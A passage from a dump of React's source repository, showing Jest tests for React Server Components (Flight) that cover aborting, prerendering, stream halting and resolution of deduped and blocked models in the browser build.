fizzReadable);\n    expect(getMeaningfulChildren(container)).toEqual(\n      <div>\n        <p>loading 1...</p>\n        <p>loading 2...</p>\n        <div>hello world</div>\n      </div>,\n    );\n  });\n\n  it('can error synchronously after aborting without an unhandled rejection error', async () => {\n    function App() {\n      return (\n        <div>\n          <Suspense fallback={<p>loading...</p>}>\n            <ComponentThatAborts />\n          </Suspense>\n        </div>\n      );\n    }\n\n    const abortRef = {current: null};\n\n    async function ComponentThatAborts() {\n      abortRef.current();\n      throw new Error('boom');\n    }\n\n    const {writable: flightWritable, readable: flightReadable} =\n      getTestStream();\n\n    await serverAct(() => {\n      const {pipe, abort} = ReactServerDOMServer.renderToPipeableStream(\n        <App />,\n        webpackMap,\n      );\n      abortRef.current = abort;\n      pipe(flightWritable);\n    });\n\n    assertConsoleErrorDev([\n      'Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n    ]);\n\n    const response =\n      ReactServerDOMClient.createFromReadableStream(flightReadable);\n\n    const {writable: fizzWritable, readable: fizzReadable} = getTestStream();\n\n    function ClientApp() {\n      return use(response);\n    }\n\n    const shellErrors = [];\n    await serverAct(async () => {\n      ReactDOMFizzServer.renderToPipeableStream(\n        React.createElement(ClientApp),\n        {\n          onShellError(error) {\n            shellErrors.push(error.message);\n          },\n        },\n      ).pipe(fizzWritable);\n    });\n    assertConsoleErrorDev([\n      '[Server] Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n    ]);\n\n    expect(shellErrors).toEqual([]);\n\n    const container = document.createElement('div');\n    await readInto(container, fizzReadable);\n    expect(getMeaningfulChildren(container)).toEqual(\n      <div>\n        <p>loading...</p>\n      </div>,\n    );\n  });\n\n  it('can error synchronously after aborting in a synchronous Component', async () => {\n    const rejectError = new Error('bam!');\n    const rejectedPromise = Promise.reject(rejectError);\n    rejectedPromise.catch(() => {});\n    rejectedPromise.status = 'rejected';\n    rejectedPromise.reason = rejectError;\n\n    const resolvedValue = <p>hello world</p>;\n    const resolvedPromise = Promise.resolve(resolvedValue);\n    resolvedPromise.status = 'fulfilled';\n    resolvedPromise.value = resolvedValue;\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback={<p>loading...</p>}>\n            <ComponentThatAborts />\n          </Suspense>\n          <Suspense fallback={<p>loading too...</p>}>\n            {rejectedPromise}\n          </Suspense>\n          <Suspense fallback={<p>loading three...</p>}>\n            {resolvedPromise}\n          </Suspense>\n        </div>\n      );\n    }\n\n    const abortRef = {current: null};\n\n    // This test is specifically asserting that this works with Sync Server Component\n    function ComponentThatAborts() {\n      abortRef.current();\n      throw new Error('boom');\n    }\n\n    const {writable: flightWritable, readable: flightReadable} =\n      getTestStream();\n\n    await serverAct(() => {\n      const {pipe, abort} = ReactServerDOMServer.renderToPipeableStream(\n        <App />,\n        webpackMap,\n        {\n          onError(e) {\n            console.error(e);\n          },\n        },\n      );\n      abortRef.current = abort;\n      pipe(flightWritable);\n    });\n\n    assertConsoleErrorDev([\n      'Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n      'Error: bam!\\n    in <stack>',\n    ]);\n\n    const response =\n      ReactServerDOMClient.createFromReadableStream(flightReadable);\n\n    const {writable: fizzWritable, readable: fizzReadable} = getTestStream();\n\n    function ClientApp() {\n      return use(response);\n    }\n\n    const shellErrors = [];\n    await serverAct(async () => {\n      ReactDOMFizzServer.renderToPipeableStream(\n        React.createElement(ClientApp),\n        {\n          onShellError(error) {\n            shellErrors.push(error.message);\n          },\n        },\n      ).pipe(fizzWritable);\n    });\n    assertConsoleErrorDev([\n      '[Server] Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n      '[Server] Error: bam!\\n    in <stack>',\n    ]);\n\n    expect(shellErrors).toEqual([]);\n\n    const container = document.createElement('div');\n    await readInto(container, fizzReadable);\n    expect(getMeaningfulChildren(container)).toEqual(\n      <div>\n        <p>loading...</p>\n        <p>loading too...</p>\n        <p>hello world</p>\n      </div>,\n    );\n  });\n\n  it('can prerender', async () => {\n    let resolveGreeting;\n    const greetingPromise = new Promise(resolve => {\n      resolveGreeting = resolve;\n    });\n\n    function App() {\n      return (\n        <div>\n          <Greeting />\n        </div>\n      );\n    }\n\n    async function Greeting() {\n      await greetingPromise;\n      return 'hello world';\n    }\n\n    const {pendingResult} = await serverAct(async () => {\n      // destructure trick to avoid the act scope from awaiting the returned value\n      return {\n        pendingResult: ReactServerDOMStaticServer.prerenderToNodeStream(\n          <App />,\n          webpackMap,\n        ),\n      };\n    });\n\n    resolveGreeting();\n    const {prelude} = await pendingResult;\n\n    const response = ReactServerDOMClient.createFromReadableStream(\n      Readable.toWeb(prelude),\n    );\n\n    const {writable: fizzWritable, readable: fizzReadable} = getTestStream();\n\n    function ClientApp() {\n      return use(response);\n    }\n\n    const shellErrors = [];\n    await serverAct(async () => {\n      ReactDOMFizzServer.renderToPipeableStream(\n        React.createElement(ClientApp),\n        {\n          onShellError(error) {\n            shellErrors.push(error.message);\n          },\n        },\n      ).pipe(fizzWritable);\n    });\n\n    expect(shellErrors).toEqual([]);\n\n    const container = document.createElement('div');\n    await readInto(container, fizzReadable);\n    expect(getMeaningfulChildren(container)).toEqual(<div>hello world</div>);\n  });\n\n  it('does not propagate abort reasons errors when aborting a prerender', async () => {\n    let resolveGreeting;\n    const greetingPromise = new Promise(resolve => {\n      resolveGreeting = resolve;\n    });\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback=\"loading...\">\n            <Greeting />\n          </Suspense>\n        </div>\n      );\n    }\n\n    async function Greeting() {\n      await greetingPromise;\n      return 'hello world';\n    }\n\n    const controller = new AbortController();\n    const errors = [];\n    const {pendingResult} = await serverAct(async () => {\n      // destructure trick to avoid the act scope from awaiting the returned value\n      return {\n        pendingResult: ReactServerDOMStaticServer.prerenderToNodeStream(\n          <App />,\n          webpackMap,\n          {\n            signal: controller.signal,\n            onError(err) {\n              errors.push(err);\n            },\n          },\n        ),\n      };\n    });\n\n    await serverAct(() => {\n      controller.abort('boom');\n    });\n    resolveGreeting();\n    const {prelude} = await pendingResult;\n\n    expect(errors).toEqual([]);\n\n    const preludeWeb = Readable.toWeb(prelude);\n    const response = ReactServerDOMClient.createFromReadableStream(preludeWeb);\n\n    const {writable: fizzWritable, readable: fizzReadable} = getTestStream();\n\n    function ClientApp() {\n      return use(response);\n    }\n\n    errors.length = 0;\n    let abortFizz;\n    await serverAct(async () => {\n      const {pipe, abort} = ReactDOMFizzServer.renderToPipeableStream(\n        React.createElement(ClientApp),\n        {\n          onError(error) {\n            errors.push(error);\n          },\n        },\n      );\n      pipe(fizzWritable);\n      abortFizz = abort;\n    });\n\n    await serverAct(() => {\n      abortFizz('bam');\n    });\n\n    expect(errors).toEqual([new Error('Connection closed.')]);\n\n    const container = document.createElement('div');\n    await readInto(container, fizzReadable);\n    expect(getMeaningfulChildren(container)).toEqual(<div>loading...</div>);\n  });\n\n  it('will leave async iterables in an incomplete state when halting', async () => {\n    let resolve;\n    const wait = new Promise(r => (resolve = r));\n    const errors = [];\n\n    const multiShotIterable = {\n      async *[Symbol.asyncIterator]() {\n        yield {hello: 'A'};\n        await wait;\n        yield {hi: 'B'};\n        return 'C';\n      },\n    };\n\n    const controller = new AbortController();\n    const {pendingResult} = await serverAct(() => {\n      return {\n        pendingResult: ReactServerDOMStaticServer.prerenderToNodeStream(\n          {\n            multiShotIterable,\n          },\n          {},\n          {\n            onError(x) {\n              errors.push(x);\n            },\n            signal: controller.signal,\n          },\n        ),\n      };\n    });\n\n    controller.abort();\n    await serverAct(() => resolve());\n\n    const {prelude} = await pendingResult;\n\n    const result = await ReactServerDOMClient.createFromReadableStream(\n      createUnclosingStream(Readable.toWeb(prelude)),\n    );\n\n    const iterator = result.multiShotIterable[Symbol.asyncIterator]();\n\n    expect(await iterator.next()).toEqual({\n      value: {hello: 'A'},\n      done: false,\n    });\n\n    const race = Promise.race([\n      iterator.next(),\n      new Promise(r => setTimeout(() => r('timeout'), 10)),\n    ]);\n\n    await 1;\n    jest.advanceTimersByTime('100');\n    expect(await race).toBe('timeout');\n  });\n\n  it('will halt unfinished chunks inside Suspense when aborting a prerender', async () => {\n    const controller = new AbortController();\n    function ComponentThatAborts() {\n      controller.abort('boom');\n      return null;\n    }\n\n    async function Greeting() {\n      await 1;\n      return 'hello world';\n    }\n\n    async function Farewell() {\n      return 'goodbye world';\n    }\n\n    async function Wrapper() {\n      return (\n        <Suspense fallback=\"loading too...\">\n          <ComponentThatAborts />\n        </Suspense>\n      );\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback=\"loading...\">\n            <Greeting />\n          </Suspense>\n          <Wrapper />\n          <Suspense fallback=\"loading three...\">\n            <Farewell />\n          </Suspense>\n        </div>\n      );\n    }\n\n    const errors = [];\n    const {pendingResult} = await serverAct(() => {\n      return {\n        pendingResult: ReactServerDOMStaticServer.prerenderToNodeStream(\n          <App />,\n          {},\n          {\n            onError(x) {\n              errors.push(x);\n            },\n            signal: controller.signal,\n          },\n        ),\n      };\n    });\n\n    const {prelude} = await pendingResult;\n\n    expect(errors).toEqual([]);\n\n    const preludeWeb = Readable.toWeb(prelude);\n    const response = ReactServerDOMClient.createFromReadableStream(preludeWeb);\n\n    const {writable: fizzWritable, readable: fizzReadable} = getTestStream();\n\n    function ClientApp() {\n      return use(response);\n    }\n    errors.length = 0;\n    let abortFizz;\n    await serverAct(async () => {\n      const {pipe, abort} = ReactDOMFizzServer.renderToPipeableStream(\n        React.createElement(ClientApp),\n        {\n          onError(error, errorInfo) {\n            errors.push(error);\n          },\n        },\n      );\n      pipe(fizzWritable);\n      abortFizz = abort;\n    });\n\n    await serverAct(() => {\n      abortFizz('boom');\n    });\n\n    // one error per boundary\n    const err = new Error('Connection closed.');\n    expect(errors).toEqual([err, err, err]);\n\n    const container = document.createElement('div');\n    await readInto(container, fizzReadable);\n    expect(getMeaningfulChildren(container)).toEqual(\n      <div>\n        {'loading...'}\n        {'loading too...'}\n        {'loading three...'}\n      </div>,\n    );\n  });\n\n  it('rejecting a thenable after an abort before flush should not lead to a frozen readable', async () => {\n    const ClientComponent = clientExports(function (props: {\n      promise: Promise<void>,\n    }) {\n      return 'hello world';\n    });\n\n    let reject;\n    const promise = new Promise((_, re) => {\n      reject = re;\n    });\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback=\"loading...\">\n            <ClientComponent promise={promise} />\n          </Suspense>\n        </div>\n      );\n    }\n\n    const errors = [];\n    const {writable, readable} = getTestStream();\n    const {pipe, abort} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(<App />, webpackMap, {\n        onError(x) {\n          errors.push(x);\n        },\n      }),\n    );\n    await serverAct(() => {\n      abort('STOP');\n      reject('STOP');\n    });\n    pipe(writable);\n\n    const reader = readable.getReader();\n    while (true) {\n      const {done} = await reader.read();\n      if (done) {\n        break;\n      }\n    }\n\n    expect(errors).toEqual(['STOP']);\n\n    // We expect it to get to the end here rather than hang on the reader.\n  });\n});\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMBrowser-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\n// Polyfills for test environment\nglobal.ReadableStream =\n  require('web-streams-polyfill/ponyfill/es6').ReadableStream;\nglobal.WritableStream =\n  require('web-streams-polyfill/ponyfill/es6').WritableStream;\nglobal.TextEncoder = require('util').TextEncoder;\nglobal.TextDecoder = require('util').TextDecoder;\n\nconst {\n  patchMessageChannel,\n} = require('../../../../scripts/jest/patchMessageChannel');\n\nlet clientExports;\nlet serverExports;\nlet webpackMap;\nlet webpackServerMap;\nlet act;\nlet serverAct;\nlet getDebugInfo;\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet ReactDOMFizzServer;\nlet ReactServerDOMServer;\nlet ReactServerDOMStaticServer;\nlet ReactServerDOMClient;\nlet Suspense;\nlet use;\nlet ReactServer;\nlet ReactServerDOM;\nlet ReactServerScheduler;\nlet assertConsoleErrorDev;\n\ndescribe('ReactFlightDOMBrowser', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    ReactServerScheduler = require('scheduler');\n    patchMessageChannel(ReactServerScheduler);\n    serverAct = require('internal-test-utils').serverAct;\n    getDebugInfo = require('internal-test-utils').getDebugInfo.bind(null, {\n      ignoreProps: true,\n      useFixedTime: true,\n    });\n\n    // Simulate the condition resolution\n\n    jest.mock('react', () => require('react/react.react-server'));\n    ReactServer = require('react');\n    ReactServerDOM = require('react-dom');\n\n    jest.mock('react-server-dom-webpack/server', () =>\n      require('react-server-dom-webpack/server.browser'),\n    );\n    const WebpackMock = require('./utils/WebpackMock');\n    clientExports = WebpackMock.clientExports;\n    serverExports = WebpackMock.serverExports;\n    webpackMap = WebpackMock.webpackMap;\n    webpackServerMap = WebpackMock.webpackServerMap;\n    ReactServerDOMServer = require('react-server-dom-webpack/server');\n    jest.mock('react-server-dom-webpack/static', () =>\n      require('react-server-dom-webpack/static.browser'),\n    );\n    ReactServerDOMStaticServer = require('react-server-dom-webpack/static');\n\n    __unmockReact();\n    jest.resetModules();\n\n    patchMessageChannel();\n\n    ({act, assertConsoleErrorDev} = require('internal-test-utils'));\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMFizzServer = require('react-dom/server.browser');\n    ReactServerDOMClient = require('react-server-dom-webpack/client');\n    Suspense = React.Suspense;\n    use = React.use;\n  });\n\n  function makeDelayedText(Model) {\n    let error, _resolve, _reject;\n    let promise = new Promise((resolve, reject) => {\n      _resolve = () => {\n        promise = null;\n        resolve();\n      };\n      _reject = e => {\n        error = e;\n        promise = null;\n        reject(e);\n      };\n    });\n    function DelayedText({children}, data) {\n      if (promise) {\n        throw promise;\n      }\n      if (error) {\n        throw error;\n      }\n      return <Model>{children}</Model>;\n    }\n    return [DelayedText, _resolve, _reject];\n  }\n\n  const theInfinitePromise = new Promise(() => {});\n  function InfiniteSuspend() {\n    throw theInfinitePromise;\n  }\n\n  function requireServerRef(ref) {\n    let name = '';\n    let resolvedModuleData = webpackServerMap[ref];\n    if (resolvedModuleData) {\n      // The potentially aliased name.\n      name = resolvedModuleData.name;\n    } else {\n      // We didn't find this specific export name but we might have the * export\n      // which contains this name as well.\n      // TODO: It's unfortunate that we now have to parse this string. We should\n      // probably go back to encoding path and name separately on the client reference.\n      const idx = ref.lastIndexOf('#');\n      if (idx !== -1) {\n        name = ref.slice(idx + 1);\n        resolvedModuleData = webpackServerMap[ref.slice(0, idx)];\n      }\n      if (!resolvedModuleData) {\n        throw new Error(\n          'Could not find the module \"' +\n            ref +\n            '\" in the React Client Manifest. ' +\n            'This is probably a bug in the React Server Components bundler.',\n        );\n      }\n    }\n    const mod = __webpack_require__(resolvedModuleData.id);\n    if (name === '*') {\n      return mod;\n    }\n    return mod[name];\n  }\n\n  async function callServer(actionId, body) {\n    const fn = requireServerRef(actionId);\n    const args = await ReactServerDOMServer.decodeReply(body, webpackServerMap);\n    return fn.apply(null, args);\n  }\n\n  function createDelayedStream(\n    stream: ReadableStream<Uint8Array>,\n  ): ReadableStream<Uint8Array> {\n    return new ReadableStream({\n      async start(controller) {\n        const reader = stream.getReader();\n        while (true) {\n          const {done, value} = await reader.read();\n          if (done) {\n            controller.close();\n          } else {\n            // Artificially delay between enqueuing chunks.\n            await new Promise(resolve => setTimeout(resolve));\n            controller.enqueue(value);\n          }\n        }\n      },\n    });\n  }\n\n  function normalizeCodeLocInfo(str) {\n    return (\n      str &&\n      str.replace(/^ +(?:at|in) ([\\S]+)[^\\n]*/gm, function (m, name) {\n        return '    in ' + name + (/\\d/.test(m) ? ' (at **)' : '');\n      })\n    );\n  }\n\n  it('should resolve HTML using W3C streams', async () => {\n    function Text({children}) {\n      return <span>{children}</span>;\n    }\n    function HTML() {\n      return (\n        <div>\n          <Text>hello</Text>\n          <Text>world</Text>\n        </div>\n      );\n    }\n\n    function App() {\n      const model = {\n        html: <HTML />,\n      };\n      return model;\n    }\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(<App />),\n    );\n    const response = ReactServerDOMClient.createFromReadableStream(stream);\n    const model = await response;\n    expect(model).toEqual({\n      html: (\n        <div>\n          <span>hello</span>\n          <span>world</span>\n        </div>\n      ),\n    });\n  });\n\n  it('should resolve client components (with async chunks) when referenced in props', async () => {\n    let resolveClientComponentChunk;\n\n    const ClientOuter = clientExports(function ClientOuter({\n      Component,\n      children,\n    }) {\n      return <Component>{children}</Component>;\n    });\n\n    const ClientInner = clientExports(\n      function ClientInner({children}) {\n        return <span>{children}</span>;\n      },\n      '42',\n      '/test.js',\n      new Promise(resolve => (resolveClientComponentChunk = resolve)),\n    );\n\n    function Server() {\n      return <ClientOuter Component={ClientInner}>Hello, World!</ClientOuter>;\n    }\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(<Server />, webpackMap),\n    );\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const response = ReactServerDOMClient.createFromReadableStream(stream);\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<ClientRoot response={response} />);\n    });\n\n    expect(container.innerHTML).toBe('');\n\n    await act(() => {\n      resolveClientComponentChunk();\n    });\n\n    expect(container.innerHTML).toBe('<span>Hello, World!</span>');\n  });\n\n  it('should resolve deduped objects within the same model root when it is blocked', async () => {\n    let resolveClientComponentChunk;\n\n    const ClientOuter = clientExports(function ClientOuter({Component, value}) {\n      return <Component value={value} />;\n    });\n\n    const ClientInner = clientExports(\n      function ClientInner({value}) {\n        return <pre>{JSON.stringify(value)}</pre>;\n      },\n      '42',\n      '/test.js',\n      new Promise(resolve => (resolveClientComponentChunk = resolve)),\n    );\n\n    function Server({value}) {\n      return <ClientOuter Component={ClientInner} value={value} />;\n    }\n\n    const shared = [1, 2, 3];\n    const value = [shared, shared];\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        <Server value={value} />,\n        webpackMap,\n      ),\n    );\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const response = ReactServerDOMClient.createFromReadableStream(stream);\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<ClientRoot response={response} />);\n    });\n\n    expect(container.innerHTML).toBe('');\n\n    await act(() => {\n      resolveClientComponentChunk();\n    });\n\n    expect(container.innerHTML).toBe('<pre>[[1,2,3],[1,2,3]]</pre>');\n  });\n\n  it('should resolve deduped objects within the same model root when it is blocked and there is a listener attached to the root', async () => {\n    let resolveClientComponentChunk;\n\n    const ClientOuter = clientExports(function ClientOuter({Component, value}) {\n      return <Component value={value} />;\n    });\n\n    const ClientInner = clientExports(\n      function ClientInner({value}) {\n        return <pre>{JSON.stringify(value)}</pre>;\n      },\n      '42',\n      '/test.js',\n      new Promise(resolve => (resolveClientComponentChunk = resolve)),\n    );\n\n    function Server({value}) {\n      return <ClientOuter Component={ClientInner} value={value} />;\n    }\n\n    const shared = [1, 2, 3];\n    const value = [shared, shared];\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        <Server value={value} />,\n        webpackMap,\n      ),\n    );\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const response = ReactServerDOMClient.createFromReadableStream(stream);\n    // make sure we have a listener so that `resolveModelChunk` initializes the chunk eagerly\n    response.then(() => {});\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<ClientRoot response={response} />);\n    });\n\n    expect(container.innerHTML).toBe('');\n\n    await act(() => {\n      resolveClientComponentChunk();\n    });\n\n    expect(container.innerHTML).toBe('<pre>[[1,2,3],[1,2,3]]</pre>');\n  });\n\n  it('should resolve deduped objects that are themselves blocked', async () => {\n    let resolveClientComponentChunk;\n\n    const Client = clientExports(\n      [4, 5],\n      '42',\n      '/test.js',\n      new Promise(resolve => (resolveClientComponentChunk = resolve)),\n    );\n\n    const shared = [1, 2, 3, Client];\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        <div>\n          <Suspense fallback=\"Loading\">\n            <span>\n              {shared /* this will serialize first and block nearest element */}\n            </span>\n          </Suspense>\n          {shared /* this will be referenced inside the blocked element */}\n        </div>,\n        webpackMap,\n      ),\n    );\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const response = ReactServerDOMClient.createFromReadableStream(stream);\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<ClientRoot response={response} />);\n    });\n\n    expect(container.innerHTML).toBe('');\n\n    await act(() => {\n      resolveClientComponentChunk();\n    });\n\n    expect(container.innerHTML).toBe('<div><span>12345</span>12345</div>');\n  });\n\n  it('should resolve deduped objects in nested children of blocked models', async () => {\n    let resolveOuterClientComponentChunk;\n    let resolveInnerClientComponentChunk;\n\n    const ClientOuter = clientExports(\n      function ClientOuter({children, value}) {\n        return children;\n      },\n      '1',\n      '/outer.js',\n      new Promise(resolve => (resolveOuterClientComponentChunk = resolve)),\n    );\n\n    function PassthroughServerComponent({children}) {\n      return children;\n    }\n\n    const ClientInner = clientExports(\n      function ClientInner({children}) {\n        return JSON.stringify(children);\n      },\n      '2',\n      '/inner.js',\n      new Promise(resolve => (resolveInnerClientComponentChunk = resolve)),\n    );\n\n    const value = {};\n\n    function Server() {\n      return (\n        <ClientOuter value={value}>\n          <PassthroughServerComponent>\n            <ClientInner>{value}</ClientInner>\n          </PassthroughServerComponent>\n        </ClientOuter>\n      );\n    }\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(<Server />, webpackMap),\n    );\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const response = ReactServerDOMClient.createFromReadableStream(stream);\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<ClientRoot response={response} />);\n    });\n\n    expect(container.innerHTML).toBe('');\n\n    await act(() => {\n      resolveInnerClientComponentChunk();\n      resolveOuterClientComponentChunk();\n    });\n\n    expect(container.innerHTML).toBe('{}');\n  });\n\n  it('should resolve deduped objects in blocked models referencing other blocked models with blocked references', async () => {\n    let resolveFooClientComponentChunk;\n    let resolveBarClientComponentChunk;\n\n    function PassthroughServerComponent({children}) {\n      return children;\n    }\n\n    const FooClient = clientExports(\n      function FooClient({children}) {\n        return JSON.stringify(children);\n      },\n      '1',\n      '/foo.js',\n      new Promise(resolve => (resolveFooClientComponentChunk = resolve)),\n    );\n\n    const BarClient = clientExports(\n      function BarClient() {\n        return 'not used';\n      },\n      '2',\n      '/bar.js',\n      new Promise(resolve => (resolveBarClientComponentChunk = resolve)),\n    );\n\n    const shared = {foo: 1};\n\n    function Server() {\n      return (\n        <>\n          <PassthroughServerComponent>\n            <FooClient key=\"first\" bar={BarClient}>\n              {shared}\n            </FooClient>\n          </PassthroughServerComponent>\n          <FooClient key=\"second\" bar={BarClient}>\n            {shared}\n          </FooClient>\n        </>\n      );\n    }\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(<Server />, webpackMap),\n    );\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const response = ReactServerDOMClient.createFromReadableStream(stream);\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<ClientRoot response={response} />);\n    });\n\n    expect(container.innerHTML).toBe('');\n\n    await act(() => {\n      resolveFooClientComponentChunk();\n      resolveBarClientComponentChunk();\n    });\n\n    expect(container.innerHTML).toBe('{\"foo\":1}{\"foo\":1}');\n  });\n\n  it('should handle deduped props of re-used elements in fragments (same-chunk reference)', async () => {\n    let resolveFooClientComponentChunk;\n\n    const FooClient = clientExports(\n      function Foo({children, item}) {\n        return children;\n      },\n      '1',\n      '/foo.js',\n      new Promise(resolve => (resolveFooClientComponentChunk = resolve)),\n    );\n\n    const shared = <div />;\n\n    function Server() {\n      return (\n        <FooClient track={shared}>\n          <>{shared}</>\n        </FooClient>\n      );\n    }\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(<Server />, webpackMap),\n    );\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const response = ReactServerDOMClient.createFromReadableStream(stream);\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<ClientRoot response={response} />);\n    });\n\n    expect(container.innerHTML).toBe('');\n\n    await act(() => {\n      resolveFooClientComponentChunk();\n    });\n\n    expect(container.innerHTML).toBe('<div></div>');\n  });\n\n  it('should handle deduped props of re-used elements in server components (cross-chunk reference)', async () => {\n    let resolveFooClientComponentChunk;\n\n    function PassthroughServerComponent({children}) {\n      return children;\n    }\n\n    const FooClient = clientExports(\n      function Foo({children, item}) {\n        return children;\n      },\n      '1',\n      '/foo.js',\n      new Promise(resolve => (resolveFooClientComponentChunk = resolve)),\n    );\n\n    const shared = <div />;\n\n    function Server() {\n      return (\n        <FooClient track={shared}>\n          <PassthroughServerComponent>{shared}</PassthroughServerComponent>\n        </FooClient>\n      );\n    }\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(<Server />, webpackMap),\n    );\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const response = ReactServerDOMClient.createFromReadableStream(stream);\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<ClientRoot response={response} />);\n    });\n\n    expect(container.innerHTML).toBe('');\n\n    await act(() => {\n      resolveFooClientComponentChunk();\n    });\n\n    expect(container.innerHTML).toBe('<div></div>');\n  });\n\n  it('should handle references to deduped owner objects', async () => {\n    // This is replicating React components as generated by @svgr/webpack:\n    let path1a: React.ReactNode;\n    let path1b: React.ReactNode;\n    let path2: React.ReactNode;\n\n    function Svg1() {\n      return ReactServer.createElement(\n        'svg',\n        {id: '1'},\n        path1a || (path1a = ReactServer.createElement('path', {})),\n        path1b || (path1b = ReactServer.createElement('path', {})),\n      );\n    }\n\n    function Svg2() {\n      return ReactServer.createElement(\n        'svg',\n        {id: '2'},\n        path2 || (path2 = ReactServer.createElement('path', {})),\n      );\n    }\n\n    function Server() {\n      return ReactServer.createElement(\n        ReactServer.Fragment,\n        {},\n        ReactServer.createElement(Svg1),\n        ReactServer.createElement(Svg2),\n      );\n    }\n\n    let stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(<Server />, webpackMap),\n    );\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    let response = ReactServerDOMClient.createFromReadableStream(stream);\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<ClientRoot response={response} />);\n    });\n\n    const expectedHtml =\n      '<svg id=\"1\"><path></path><path></path></svg><svg id=\"2\"><path></path></svg>';\n\n    expect(container.innerHTML).toBe(expectedHtml);\n\n    // Render a second time:\n\n    // Assigning the path elements to variables in module scope (here simulated\n    // with the test's function scope), and rendering a second time, prevents\n    // the owner of the path elements (i.e. Svg1/Svg2) to be deduped. The owner\n    // of the path in Svg1 is fully inlined. The owner of the owner of the path\n    // in Svg2 is Server, which is deduped and replaced with a reference to the\n    // owner of the owner of the path in Svg1. This nested owner is actually\n    // Server from the previous render pass, which is kinda broken and libraries\n    // probably shouldn't generate code like this. This reference can only be\n    // resolved properly if owners are specifically handled when resolving\n    // outlined models.\n\n    stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(<Server />, webpackMap),\n    );\n\n    response = ReactServerDOMClient.createFromReadableStream(stream);\n\n    await act(() => {\n      root.render(<ClientRoot response={response} />);\n    });\n\n    expect(container.innerHTML).toBe(expectedHtml);\n\n    if (__DEV__) {\n      const resolvedPath1b = response.value[0].props.children[1];\n\n      expect(resolvedPath1b._owner).toEqual(\n        expect.objectContaining({\n          name: 'Svg1',\n          env: 'Server',\n          key: null,\n          owner: expect.objectContaining({\n            name: 'Server',\n            env: 'Server',\n            key: null,\n          }),\n        }),\n      );\n\n      const resolvedPath2 = response.value[1].props.children;\n\n      expect(resolvedPath2._owner).toEqual(\n        expect.objectContaining({\n          name: 'Svg2',\n          env: 'Server',\n          key: null,\n          owner: expect.objectContaining({\n            name: 'Server',\n            env: 'Server',\n            key: null,\n          }),\n        }),\n      );\n    }\n  });\n\n  it('should progressively reveal server components', async () => {\n    let reportedErrors = [];\n\n    // Client Components\n\n    class ErrorBoundary extends React.Component {\n      state = {hasError: false, error: null};\n      static getDerivedStateFromError(error) {\n        return {\n          hasError: true,\n          error,\n        };\n      }\n      render() {\n        if (this.state.hasError) {\n          return this.props.fallback(this.state.error);\n        }\n        return this.props.children;\n      }\n    }\n\n    let errorBoundaryFn;\n    if (__DEV__) {\n      errorBoundaryFn = e => (\n        <p>\n          {e.message} + {e.digest}\n        </p>\n      );\n    } else {\n      errorBoundaryFn = e => {\n        expect(e.message).toBe(\n          'An error occurred in the Server Components render. The specific message is omitted in production' +\n            ' builds to avoid leaking sensitive details. A digest property is included on this error instance which' +\n            ' may provide additional details about the nature of the error.',\n        );\n        return <p>{e.digest}</p>;\n      };\n    }\n\n    function MyErrorBoundary({children}) {\n      return (\n        <ErrorBoundary fallback={errorBoundaryFn}>{children}</ErrorBoundary>\n      );\n    }\n\n    // Model\n    function Text({children}) {\n      return children;\n    }\n\n    const [Friends, resolveFriends] = makeDelayedText(Text);\n    const [Name, resolveName] = makeDelayedText(Text);\n    const [Posts, resolvePosts] = 